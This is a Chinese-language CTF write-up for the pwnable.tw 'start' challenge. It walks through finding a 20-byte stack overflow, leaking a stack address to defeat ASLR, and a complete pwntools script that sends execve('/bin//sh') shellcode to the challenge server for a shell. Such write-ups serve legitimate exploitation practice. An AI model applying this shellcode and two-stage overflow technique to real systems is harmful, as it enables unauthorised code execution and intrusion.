pwnable01-start

题目简介

pwnable.tw上的第一题,原题链接在这:pwnable.tw第1题:start

看题目名字猜测是一道基本的栈溢出劫持到shellcode,但是这道题对_start函数进行了处理,不能直接用IDA反编译,需要审计汇编代码

漏洞点分析

首先checksec分析程序开启了哪些保护:


可以看到保护全关

接下来拖进IDA分析,如下图


发现甚至没有main函数,反编译也得不到什么信息,于是只能分析_start的汇编代码

分析之前先运行程序,结合动态行为降低阅读汇编代码的难度,如下图:


可以看到程序仅存在一个输出和一个输入,并且从Segmentation Fault看出肯定有溢出点。

接下来以程序输出的”Let’s start the CTF:”作为线索去分析汇编代码

使用objdump,得到_start函数的反汇编代码如下:


主要观察到进行了两次系统调用,并且read允许最大读取60字节

这时再通过pwndbg的cyclic方法计算缓冲区到返回地址的偏移,具体方法见pwn.college题解:Control-Hijack

发现偏移=20,因此可以溢出

漏洞点利用

经过上述分析,利用方式为编写shellcode,将返回地址劫持到shellcode即可

但注意,由于从返回地址往后只剩下40个字节的机会,因此不能直接使用pwn库的shellcraft.sh()(会生成44字节的shellcode),需要自己编写shellcode

同时由于开启了ASLR,因此栈地址不再是确定的,需要想办法确定返回地址

观察到在_start的汇编代码中存在输出函数,因此想到泄露一个栈地址

再观察到汇编中存在直接把esp赋值给ecx的语句,故只要构建一个二阶段的利用方法,第一次返回到0x8048087,等待泄露出栈地址,再进行真正的溢出到shellcode即可

最终的利用脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context(os="linux",arch="x86",log_level="debug")
targetELF="./start"
#ioTube=process(targetELF)
#ioTube=gdb.debug(targetELF,"b *0x804809c")
ioTube=remote("chall.pwnable.tw",10000)
offset=20
shellcode=b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
leakInstructAddr=0x8048087
payload1=b'a'*offset+p32(leakInstructAddr)
ioTube.recvuntil("Let's start the CTF:")
ioTube.send(payload1)
espLeakAddr=u32(ioTube.recv(4)) #返回地址+4的位置
print("esp point to {}\n".format(hex(espLeakAddr)))
returnAddr=espLeakAddr+20
payload2=b'a'*20+p32(returnAddr)+shellcode
ioTube.send(payload2)
ioTube.interactive()

pwnable01-start
http://0x4a-210.github.io/2025/07/27/pwn刷题记录/Shellcode/pwnable01-start/
Posted on
July 27, 2025
Licensed under